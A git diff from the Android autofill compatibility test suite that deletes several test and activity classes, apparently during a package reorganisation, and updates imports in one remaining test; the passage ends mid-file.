@@ -1,120 +0,0 @@
-/*
- * Copyright 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.autofillservice.cts;
-
-import static android.autofillservice.cts.Helper.ID_USERNAME;
-import static android.autofillservice.cts.Helper.assertTextIsSanitized;
-import static android.autofillservice.cts.SimpleSaveActivity.ID_PASSWORD;
-
-import android.autofillservice.cts.CannedFillResponse.CannedDataset;
-import android.autofillservice.cts.InstrumentedAutoFillService.FillRequest;
-import android.support.test.uiautomator.UiObject2;
-import android.view.View;
-
-import org.junit.Test;
-
-public class DialogLauncherActivityTest
-        extends AutoFillServiceTestCase.AutoActivityLaunch<DialogLauncherActivity> {
-
-    private DialogLauncherActivity mActivity;
-
-    @Override
-    protected AutofillActivityTestRule<DialogLauncherActivity> getActivityRule() {
-        return new AutofillActivityTestRule<DialogLauncherActivity>(DialogLauncherActivity.class) {
-            @Override
-            protected void afterActivityLaunched() {
-                mActivity = getActivity();
-            }
-        };
-    }
-
-    @Test
-    public void testAutofill_noDatasets() throws Exception {
-        autofillNoDatasetsTest(false);
-    }
-
-    @Test
-    public void testAutofill_noDatasets_afterResizing() throws Exception {
-        autofillNoDatasetsTest(true);
-    }
-
-    private void autofillNoDatasetsTest(boolean resize) throws Exception {
-        enableService();
-        mActivity.launchDialog(mUiBot);
-
-        if (resize) {
-            mActivity.maximizeDialog();
-        }
-
-        // Set expectations.
-        sReplier.addResponse(CannedFillResponse.NO_RESPONSE);
-
-        // Trigger autofill.
-        mActivity.onUsername(View::requestFocus);
-        final FillRequest fillRequest = sReplier.getNextFillRequest();
-
-        // Asserts results.
-        try {
-            mUiBot.assertNoDatasetsEver();
-            // Make sure nodes were properly generated.
-            assertTextIsSanitized(fillRequest.structure, ID_USERNAME);
-            assertTextIsSanitized(fillRequest.structure, ID_PASSWORD);
-        } catch (AssertionError e) {
-            Helper.dumpStructure("D'OH!", fillRequest.structure);
-            throw e;
-        }
-    }
-
-    @Test
-    public void testAutofill_oneDataset() throws Exception {
-        autofillOneDatasetTest(false);
-    }
-
-    @Test
-    public void testAutofill_oneDataset_afterResizing() throws Exception {
-        autofillOneDatasetTest(true);
-    }
-
-    private void autofillOneDatasetTest(boolean resize) throws Exception {
-        enableService();
-        mActivity.launchDialog(mUiBot);
-
-        if (resize) {
-            mActivity.maximizeDialog();
-        }
-
-        // Set expectations.
-        mActivity.expectAutofill("dude", "sweet");
-        sReplier.addResponse(new CannedDataset.Builder()
-                .setField(ID_USERNAME, "dude")
-                .setField(ID_PASSWORD, "sweet")
-                .setPresentation(createPresentation("The Dude"))
-                .build());
-
-        // Trigger autofill.
-        mActivity.onUsername(View::requestFocus);
-        sReplier.getNextFillRequest();
-
-        final UiObject2 picker = mUiBot.assertDatasets("The Dude");
-        if (!Helper.isAutofillWindowFullScreen(mActivity)) {
-            mActivity.assertInDialogBounds(picker.getVisibleBounds());
-        }
-
-        // Asserts results.
-        mUiBot.selectDataset("The Dude");
-        mActivity.assertAutofilled();
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/DisableAutofillTest.java b/tests/autofillservice/src/android/autofillservice/cts/DisableAutofillTest.java
deleted file mode 100644
index 65f3697..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/DisableAutofillTest.java
+++ /dev/null
@@ -1,353 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.autofillservice.cts;
-
-import static android.autofillservice.cts.Timeouts.ACTIVITY_RESURRECTION;
-import static android.autofillservice.cts.Timeouts.CALLBACK_NOT_CALLED_TIMEOUT_MS;
-
-import android.autofillservice.cts.CannedFillResponse.CannedDataset;
-import android.os.SystemClock;
-import android.platform.test.annotations.AppModeFull;
-import android.service.autofill.FillResponse;
-import android.util.Log;
-
-import com.android.compatibility.common.util.RetryableException;
-
-import org.junit.After;
-import org.junit.Before;
-import org.junit.Test;
-
-/**
- * Tests for the {@link android.service.autofill.FillResponse.Builder#disableAutofill(long)} API.
- */
-public class DisableAutofillTest extends AutoFillServiceTestCase.ManualActivityLaunch {
-
-    private static final String TAG = "DisableAutofillTest";
-
-    /**
-     * Defines what to do after the activity being tested is launched.
-     */
-    enum PostLaunchAction {
-        /**
-         * Used when the service disables autofill in the fill response for this activty. As such:
-         *
-         * <ol>
-         *   <li>There should be a fill request on {@code sReplier}.
-         *   <li>The first UI focus should generate a
-         *   {@link android.view.autofill.AutofillManager.AutofillCallback#EVENT_INPUT_UNAVAILABLE}
-         *   event.
-         *   <li>Subsequent UI focus should not trigger events.
-         * </ol>
-         */
-        ASSERT_DISABLING,
-
-        /**
-         * Used when the service already disabled autofill prior to launching activty. As such:
-         *
-         * <ol>
-         *   <li>There should be no fill request on {@code sReplier}.
-         *   <li>There should be no callback calls when UI is focused
-         * </ol>
-         */
-        ASSERT_DISABLED,
-
-        /**
-         * Used when autofill is enabled, so it tries to autofill the activity.
-         */
-        ASSERT_ENABLED_AND_AUTOFILL
-    }
-
-    /**
-     * Launches and finishes {@link SimpleSaveActivity}, returning how long it took.
-     */
-    private long launchSimpleSaveActivity(PostLaunchAction action) throws Exception {
-        Log.v(TAG, "launchPreSimpleSaveActivity(): " + action);
-        sReplier.assertNoUnhandledFillRequests();
-
-        if (action == PostLaunchAction.ASSERT_ENABLED_AND_AUTOFILL) {
-            sReplier.addResponse(new CannedFillResponse.Builder()
-                    .addDataset(new CannedDataset.Builder()
-                            .setField(SimpleSaveActivity.ID_INPUT, "id")
-                            .setField(SimpleSaveActivity.ID_PASSWORD, "pass")
-                            .setPresentation(createPresentation("YO"))
-                            .build())
-                    .build());
-
-        }
-
-        final long before = SystemClock.elapsedRealtime();
-        final SimpleSaveActivity activity = startSimpleSaveActivity();
-        final MyAutofillCallback callback = activity.registerCallback();
-
-        try {
-            // Trigger autofill
-            activity.syncRunOnUiThread(() -> activity.mInput.requestFocus());
-
-            if (action == PostLaunchAction.ASSERT_DISABLING) {
-                callback.assertUiUnavailableEvent(activity.mInput);
-                sReplier.getNextFillRequest();
-
-                // Make sure other fields are not triggered.
-                activity.syncRunOnUiThread(() -> activity.mPassword.requestFocus());
-                callback.assertNotCalled();
-            } else if (action == PostLaunchAction.ASSERT_DISABLED) {
-                // Make sure forced requests are ignored as well.
-                activity.getAutofillManager().requestAutofill(activity.mInput);
-                callback.assertNotCalled();
-            } else if (action == PostLaunchAction.ASSERT_ENABLED_AND_AUTOFILL) {
-                callback.assertUiShownEvent(activity.mInput);
-                sReplier.getNextFillRequest();
-                final SimpleSaveActivity.FillExpectation autofillExpectation =
-                        activity.expectAutoFill("id", "pass");
-                mUiBot.selectDataset("YO");
-                autofillExpectation.assertAutoFilled();
-            }
-
-            // Asserts isEnabled() status.
-            assertAutofillEnabled(activity, action == PostLaunchAction.ASSERT_ENABLED_AND_AUTOFILL);
-        } finally {
-            mUiBot.waitForWindowChange(() -> activity.finish());
-        }
-        return SystemClock.elapsedRealtime() - before;
-    }
-
-    /**
-     * Launches and finishes {@link PreSimpleSaveActivity}, returning how long it took.
-     */
-    private long launchPreSimpleSaveActivity(PostLaunchAction action) throws Exception {
-        Log.v(TAG, "launchPreSimpleSaveActivity(): " + action);
-        sReplier.assertNoUnhandledFillRequests();
-
-        if (action == PostLaunchAction.ASSERT_ENABLED_AND_AUTOFILL) {
-            sReplier.addResponse(new CannedFillResponse.Builder()
-                    .addDataset(new CannedDataset.Builder()
-                            .setField(PreSimpleSaveActivity.ID_PRE_INPUT, "yo")
-                            .setPresentation(createPresentation("YO"))
-                            .build())
-                    .build());
-        }
-
-        final long before = SystemClock.elapsedRealtime();
-        final PreSimpleSaveActivity activity = startPreSimpleSaveActivity();
-        final MyAutofillCallback callback = activity.registerCallback();
-
-        try {
-            // Trigger autofill
-            activity.syncRunOnUiThread(() -> activity.mPreInput.requestFocus());
-
-            if (action == PostLaunchAction.ASSERT_DISABLING) {
-                callback.assertUiUnavailableEvent(activity.mPreInput);
-                sReplier.getNextFillRequest();
-            } else if (action == PostLaunchAction.ASSERT_DISABLED) {
-                activity.getAutofillManager().requestAutofill(activity.mPreInput);
-                callback.assertNotCalled();
-            } else if (action == PostLaunchAction.ASSERT_ENABLED_AND_AUTOFILL) {
-                callback.assertUiShownEvent(activity.mPreInput);
-                sReplier.getNextFillRequest();
-                final PreSimpleSaveActivity.FillExpectation autofillExpectation =
-                        activity.expectAutoFill("yo");
-                mUiBot.selectDataset("YO");
-                autofillExpectation.assertAutoFilled();
-            }
-
-            // Asserts isEnabled() status.
-            assertAutofillEnabled(activity, action == PostLaunchAction.ASSERT_ENABLED_AND_AUTOFILL);
-        } finally {
-            activity.finish();
-        }
-        return SystemClock.elapsedRealtime() - before;
-    }
-
-    @After
-    public void clearAutofillOptions() throws Exception {
-        // Clear AutofillOptions.
-        Helper.clearApplicationAutofillOptions(sContext);
-    }
-
-    @Before
-    public void resetAutofillOptions() throws Exception {
-        // Reset AutofillOptions to avoid cts package was added to augmented autofill allowlist.
-        Helper.resetApplicationAutofillOptions(sContext);
-    }
-
-    @Test
-    public void testDisableApp() throws Exception {
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(
-                new CannedFillResponse.Builder().disableAutofill(Long.MAX_VALUE).build());
-
-        // Trigger autofill for the first time.
-        launchSimpleSaveActivity(PostLaunchAction.ASSERT_DISABLING);
-
-        // Launch activity again.
-        launchSimpleSaveActivity(PostLaunchAction.ASSERT_DISABLED);
-
-        // Now try it using a different activity - should be disabled too.
-        launchPreSimpleSaveActivity(PostLaunchAction.ASSERT_DISABLED);
-    }
-
-    @Test
-    @AppModeFull(reason = "testDisableApp() is enough")
-    public void testDisableAppThenWaitToReenableIt() throws Exception {
-        // Set service.
-        enableService();
-
-        // Need to wait the equivalent of launching 2 activities, plus some extra legging room
-        final long duration = 2 * ACTIVITY_RESURRECTION.ms() + 500;
-
-        // Set expectations.
-        sReplier.addResponse(new CannedFillResponse.Builder().disableAutofill(duration).build());
-
-        // Trigger autofill for the first time.
-        launchSimpleSaveActivity(PostLaunchAction.ASSERT_DISABLING);
-
-        // Launch activity again.
-        long passedTime = launchSimpleSaveActivity(PostLaunchAction.ASSERT_DISABLED);
-
-        // Wait for the timeout, then try again, autofilling it this time.
-        sleep(passedTime, duration);
-        launchSimpleSaveActivity(PostLaunchAction.ASSERT_ENABLED_AND_AUTOFILL);
-
-        // Also try it on another activity.
-        launchPreSimpleSaveActivity(PostLaunchAction.ASSERT_ENABLED_AND_AUTOFILL);
-    }
-
-    @Test
-    @AppModeFull(reason = "testDisableApp() is enough")
-    public void testDisableAppThenResetServiceToReenableIt() throws Exception {
-        enableService();
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .disableAutofill(Long.MAX_VALUE).build());
-
-        // Trigger autofill for the first time.
-        launchSimpleSaveActivity(PostLaunchAction.ASSERT_DISABLING);
-        // Launch activity again.
-        launchSimpleSaveActivity(PostLaunchAction.ASSERT_DISABLED);
-
-        // Then "reset" service to re-enable autofill.
-        disableService();
-        enableService();
-
-        // Try again on activity that disabled it.
-        launchSimpleSaveActivity(PostLaunchAction.ASSERT_ENABLED_AND_AUTOFILL);
-
-        // Try again on other activity.
-        launchPreSimpleSaveActivity(PostLaunchAction.ASSERT_ENABLED_AND_AUTOFILL);
-    }
-
-    @Test
-    public void testDisableActivity() throws Exception {
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .disableAutofill(Long.MAX_VALUE)
-                .setFillResponseFlags(FillResponse.FLAG_DISABLE_ACTIVITY_ONLY)
-                .build());
-
-        // Trigger autofill for the first time.
-        launchSimpleSaveActivity(PostLaunchAction.ASSERT_DISABLING);
-
-        // Launch activity again.
-        launchSimpleSaveActivity(PostLaunchAction.ASSERT_DISABLED);
-
-        // Now try it using a different activity - should work.
-        launchPreSimpleSaveActivity(PostLaunchAction.ASSERT_ENABLED_AND_AUTOFILL);
-    }
-
-    @Test
-    @AppModeFull(reason = "testDisableActivity() is enough")
-    public void testDisableActivityThenWaitToReenableIt() throws Exception {
-        // Set service.
-        enableService();
-
-        // Need to wait the equivalent of launching 2 activities, plus some extra legging room
-        final long duration = 2 * ACTIVITY_RESURRECTION.ms() + 500;
-
-        // Set expectations.
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .disableAutofill(duration)
-                .setFillResponseFlags(FillResponse.FLAG_DISABLE_ACTIVITY_ONLY)
-                .build());
-
-        // Trigger autofill for the first time.
-        launchSimpleSaveActivity(PostLaunchAction.ASSERT_DISABLING);
-
-        // Launch activity again.
-        long passedTime = launchSimpleSaveActivity(PostLaunchAction.ASSERT_DISABLED);
-
-        // Make sure other app is working.
-        passedTime += launchPreSimpleSaveActivity(PostLaunchAction.ASSERT_ENABLED_AND_AUTOFILL);
-
-        // Wait for the timeout, then try again, autofilling it this time.
-        sleep(passedTime, duration);
-        launchSimpleSaveActivity(PostLaunchAction.ASSERT_ENABLED_AND_AUTOFILL);
-    }
-
-    @Test
-    @AppModeFull(reason = "testDisableActivity() is enough")
-    public void testDisableActivityThenResetServiceToReenableIt() throws Exception {
-        enableService();
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .disableAutofill(Long.MAX_VALUE)
-                .setFillResponseFlags(FillResponse.FLAG_DISABLE_ACTIVITY_ONLY)
-                .build());
-
-        // Trigger autofill for the first time.
-        launchSimpleSaveActivity(PostLaunchAction.ASSERT_DISABLING);
-        // Launch activity again.
-        launchSimpleSaveActivity(PostLaunchAction.ASSERT_DISABLED);
-
-        // Make sure other app is working.
-        launchPreSimpleSaveActivity(PostLaunchAction.ASSERT_ENABLED_AND_AUTOFILL);
-
-        // Then "reset" service to re-enable autofill.
-        disableService();
-        enableService();
-
-        // Try again on activity that disabled it.
-        launchSimpleSaveActivity(PostLaunchAction.ASSERT_ENABLED_AND_AUTOFILL);
-    }
-
-    private void assertAutofillEnabled(AbstractAutoFillActivity activity, boolean expected)
-            throws Exception {
-        ACTIVITY_RESURRECTION.run(
-                "assertAutofillEnabled(" + activity.getComponentName().flattenToShortString() + ")",
-                () -> {
-                    return activity.getAutofillManager().isEnabled() == expected
-                            ? Boolean.TRUE : null;
-                });
-    }
-
-    private void sleep(long passedTime, long disableDuration) {
-        final long napTime = disableDuration - passedTime + 500;
-        if (napTime <= 0) {
-            // Throw an exception so ACTIVITY_RESURRECTION is increased
-            throw new RetryableException("took longer than expcted to launch activities: "
-                            + "passedTime=" + passedTime + "ms, disableDuration=" + disableDuration
-                            + ", ACTIVITY_RESURRECTION=" + ACTIVITY_RESURRECTION
-                            + ", CALLBACK_NOT_CALLED_TIMEOUT_MS=" + CALLBACK_NOT_CALLED_TIMEOUT_MS);
-        }
-        Log.v(TAG, "Sleeping for " + napTime + "ms (duration=" + disableDuration + "ms, passedTime="
-                + passedTime + ")");
-        SystemClock.sleep(napTime);
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/DismissType.java b/tests/autofillservice/src/android/autofillservice/cts/DismissType.java
deleted file mode 100644
index b2e936c..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/DismissType.java
+++ /dev/null
@@ -1,29 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.autofillservice.cts;
-
-/**
- * A simple enum for test cases where the Save UI is dismissed.
- *
- * <p><b>Note:</b> When new values are added to the enum, the equivalent tests must be added to
- * both {@link LoginActivityTest} and {@link SimpleSaveActivityTest}.
- */
-enum DismissType {
-    BACK_BUTTON,
-    HOME_BUTTON,
-    TOUCH_OUTSIDE,
-    FOCUS_OUTSIDE
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/DoubleVisitor.java b/tests/autofillservice/src/android/autofillservice/cts/DoubleVisitor.java
deleted file mode 100644
index 8379307..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/DoubleVisitor.java
+++ /dev/null
@@ -1,34 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.autofillservice.cts;
-
-import androidx.annotation.NonNull;
-
-/**
- * Implements the Visitor design pattern to visit 2 related objects (like a view and the activity
- * hosting it).
- *
- * @param <V1> 1st visited object
- * @param <V2> 2nd visited object
- */
-// TODO: move to common
-public interface DoubleVisitor<V1, V2> {
-
-    /**
-     * Visit those objects.
-     */
-    void visit(@NonNull V1 visited1, @NonNull V2 visited2);
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/DummyActivity.java b/tests/autofillservice/src/android/autofillservice/cts/DummyActivity.java
deleted file mode 100644
index a1f5bd9..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/DummyActivity.java
+++ /dev/null
@@ -1,31 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.autofillservice.cts;
-
-import android.app.Activity;
-import android.os.Bundle;
-import android.widget.TextView;
-
-public class DummyActivity extends Activity {
-    @Override
-    protected void onCreate(Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-        TextView text = new TextView(this);
-        text.setText("foo");
-        setContentView(text);
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/DuplicateIdActivity.java b/tests/autofillservice/src/android/autofillservice/cts/DuplicateIdActivity.java
deleted file mode 100644
index 90871ca..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/DuplicateIdActivity.java
+++ /dev/null
@@ -1,35 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.autofillservice.cts;
-
-import android.os.Bundle;
-import android.util.Log;
-
-public class DuplicateIdActivity extends AbstractAutoFillActivity {
-    private static final String TAG = "DuplicateIdActivity";
-
-    static final String DUPLICATE_ID = "duplicate_id";
-
-    @Override
-    protected void onCreate(Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-
-        Log.v(TAG, "onCreate(" + savedInstanceState + ")");
-
-        setContentView(R.layout.duplicate_id_layout);
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/DuplicateIdActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/DuplicateIdActivityTest.java
index 60bac5f..074b422 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/DuplicateIdActivityTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/DuplicateIdActivityTest.java
@@ -16,9 +16,9 @@
 
 package android.autofillservice.cts;
 
-import static android.autofillservice.cts.CannedFillResponse.NO_RESPONSE;
-import static android.autofillservice.cts.DuplicateIdActivity.DUPLICATE_ID;
-import static android.autofillservice.cts.Helper.assertEqualsIgnoreSession;
+import static android.autofillservice.cts.activities.DuplicateIdActivity.DUPLICATE_ID;
+import static android.autofillservice.cts.testcore.CannedFillResponse.NO_RESPONSE;
+import static android.autofillservice.cts.testcore.Helper.assertEqualsIgnoreSession;
 
 import static com.android.compatibility.common.util.ShellUtils.runShellCommand;
 
@@ -28,6 +28,12 @@
 
 import android.app.assist.AssistStructure;
 import android.app.assist.AssistStructure.ViewNode;
+import android.autofillservice.cts.activities.DuplicateIdActivity;
+import android.autofillservice.cts.commontests.AutoFillServiceTestCase;
+import android.autofillservice.cts.testcore.AutofillActivityTestRule;
+import android.autofillservice.cts.testcore.CannedFillResponse;
+import android.autofillservice.cts.testcore.Helper;
+import android.autofillservice.cts.testcore.InstrumentedAutoFillService;
 import android.util.Log;
 import android.view.View;
 import android.view.ViewGroup;
diff --git a/tests/autofillservice/src/android/autofillservice/cts/EmptyActivity.java b/tests/autofillservice/src/android/autofillservice/cts/EmptyActivity.java
deleted file mode 100644
index 87e2b3a..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/EmptyActivity.java
+++ /dev/null
@@ -1,46 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.autofillservice.cts;
-
-import android.app.Activity;
-import android.os.Bundle;
-import android.view.View;
-
-import androidx.annotation.Nullable;
-
-/**
- * Empty activity
- */
-public class EmptyActivity extends Activity {
-
-    public static final String ID_EMPTY = "empty";
-
-    private View mEmptyView;
-
-    @Override
-    protected void onCreate(@Nullable Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-
-        setContentView(R.layout.empty);
-        mEmptyView = findViewById(R.id.empty);
-    }
-
-    public View getEmptyView() {
-        return mEmptyView;
-    }
-
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/FatActivity.java b/tests/autofillservice/src/android/autofillservice/cts/FatActivity.java
deleted file mode 100644
index 8a47447..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/FatActivity.java
+++ /dev/null
@@ -1,181 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.autofillservice.cts;
-
-import static android.autofillservice.cts.Helper.findViewByAutofillHint;
-import static android.view.View.IMPORTANT_FOR_AUTOFILL_AUTO;
-import static android.view.View.IMPORTANT_FOR_AUTOFILL_NO;
-import static android.view.View.IMPORTANT_FOR_AUTOFILL_NO_EXCLUDE_DESCENDANTS;
-import static android.view.View.IMPORTANT_FOR_AUTOFILL_YES;
-import static android.view.View.IMPORTANT_FOR_AUTOFILL_YES_EXCLUDE_DESCENDANTS;
-
-import static com.google.common.truth.Truth.assertThat;
-
-import android.content.Context;
-import android.os.Bundle;
-import android.util.AttributeSet;
-import android.view.View;
-import android.widget.EditText;
-import android.widget.ImageView;
-import android.widget.LinearLayout;
-
-/**
- * An activity containing mostly widgets that should be removed from an auto-fill structure to
- * optimize it.
- */
-public class FatActivity extends AbstractAutoFillActivity {
-
-    static final String ID_CAPTCHA = "captcha";
-    static final String ID_INPUT = "input";
-    static final String ID_INPUT_CONTAINER = "input_container";
-    static final String ID_IMAGE = "image";
-    static final String ID_IMPORTANT_IMAGE = "important_image";
-    static final String ID_ROOT = "root";
-
-    static final String ID_NOT_IMPORTANT_CONTAINER_EXCLUDING_DESCENDANTS =
-            "not_important_container_excluding_descendants";
-    static final String ID_NOT_IMPORTANT_CONTAINER_EXCLUDING_DESCENDANTS_CHILD =
-            "not_important_container_excluding_descendants_child";
-    static final String ID_NOT_IMPORTANT_CONTAINER_EXCLUDING_DESCENDANTS_GRAND_CHILD =
-            "not_important_container_excluding_descendants_grand_child";
-
-    static final String ID_IMPORTANT_CONTAINER_EXCLUDING_DESCENDANTS =
-            "important_container_excluding_descendants";
-    static final String ID_IMPORTANT_CONTAINER_EXCLUDING_DESCENDANTS_CHILD =
-            "important_container_excluding_descendants_child";
-    static final String ID_IMPORTANT_CONTAINER_EXCLUDING_DESCENDANTS_GRAND_CHILD =
-            "important_container_excluding_descendants_grand_child";
-
-    static final String ID_NOT_IMPORTANT_CONTAINER_MIXED_DESCENDANTS =
-            "not_important_container_mixed_descendants";
-    static final String ID_NOT_IMPORTANT_CONTAINER_MIXED_DESCENDANTS_CHILD =
-            "not_important_container_mixed_descendants_child";
-    static final String ID_NOT_IMPORTANT_CONTAINER_MIXED_DESCENDANTS_GRAND_CHILD =
-            "not_important_container_mixed_descendants_grand_child";
-
-    private LinearLayout mRoot;
-    private EditText mCaptcha;
-    private EditText mInput;
-    private ImageView mImage;
-    private ImageView mImportantImage;
-
-    private View mNotImportantContainerExcludingDescendants;
-    private View mNotImportantContainerExcludingDescendantsChild;
-    private View mNotImportantContainerExcludingDescendantsGrandChild;
-
-    private View mImportantContainerExcludingDescendants;
-    private View mImportantContainerExcludingDescendantsChild;
-    private View mImportantContainerExcludingDescendantsGrandChild;
-
-    private View mNotImportantContainerMixedDescendants;
-    private View mNotImportantContainerMixedDescendantsChild;
-    private View mNotImportantContainerMixedDescendantsGrandChild;
-
-    private MyView mViewWithAutofillHints;
-
-    @Override
-    protected void onCreate(Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-
-        setContentView(R.layout.fat_activity);
-
-        mRoot = findViewById(R.id.root);
-        mCaptcha = findViewById(R.id.captcha);
-        mInput = findViewById(R.id.input);
-        mImage = findViewById(R.id.image);
-        mImportantImage = findViewById(R.id.important_image);
-
-        mNotImportantContainerExcludingDescendants = findViewById(
-                R.id.not_important_container_excluding_descendants);
-        mNotImportantContainerExcludingDescendantsChild = findViewById(
-                R.id.not_important_container_excluding_descendants_child);
-        mNotImportantContainerExcludingDescendantsGrandChild = findViewById(
-                R.id.not_important_container_excluding_descendants_grand_child);
-
-        mImportantContainerExcludingDescendants = findViewById(
-                R.id.important_container_excluding_descendants);
-        mImportantContainerExcludingDescendantsChild = findViewById(
-                R.id.important_container_excluding_descendants_child);
-        mImportantContainerExcludingDescendantsGrandChild = findViewById(
-                R.id.important_container_excluding_descendants_grand_child);
-
-        mNotImportantContainerMixedDescendants = findViewById(
-                R.id.not_important_container_mixed_descendants);
-        mNotImportantContainerMixedDescendantsChild = findViewById(
-                R.id.not_important_container_mixed_descendants_child);
-        mNotImportantContainerMixedDescendantsGrandChild = findViewById(
-                R.id.not_important_container_mixed_descendants_grand_child);
-
-        mViewWithAutofillHints = (MyView) findViewByAutofillHint(this, "importantAmI");
-        assertThat(mViewWithAutofillHints).isNotNull();
-
-        // Validation check for importantForAutofill modes
-        assertThat(mRoot.getImportantForAutofill()).isEqualTo(IMPORTANT_FOR_AUTOFILL_AUTO);
-        assertThat(mInput.getImportantForAutofill()).isEqualTo(IMPORTANT_FOR_AUTOFILL_YES);
-        assertThat(mCaptcha.getImportantForAutofill()).isEqualTo(IMPORTANT_FOR_AUTOFILL_NO);
-        assertThat(mImage.getImportantForAutofill()).isEqualTo(IMPORTANT_FOR_AUTOFILL_NO);
-        assertThat(mImportantImage.getImportantForAutofill()).isEqualTo(IMPORTANT_FOR_AUTOFILL_YES);
-
-        assertThat(mNotImportantContainerExcludingDescendants.getImportantForAutofill())
-                .isEqualTo(IMPORTANT_FOR_AUTOFILL_NO_EXCLUDE_DESCENDANTS);
-        assertThat(mNotImportantContainerExcludingDescendantsChild.getImportantForAutofill())
-                .isEqualTo(IMPORTANT_FOR_AUTOFILL_YES);
-        assertThat(mNotImportantContainerExcludingDescendantsGrandChild.getImportantForAutofill())
-                .isEqualTo(IMPORTANT_FOR_AUTOFILL_AUTO);
-
-        assertThat(mImportantContainerExcludingDescendants.getImportantForAutofill())
-                .isEqualTo(IMPORTANT_FOR_AUTOFILL_YES_EXCLUDE_DESCENDANTS);
-        assertThat(mImportantContainerExcludingDescendantsChild.getImportantForAutofill())
-                .isEqualTo(IMPORTANT_FOR_AUTOFILL_YES);
-        assertThat(mImportantContainerExcludingDescendantsGrandChild.getImportantForAutofill())
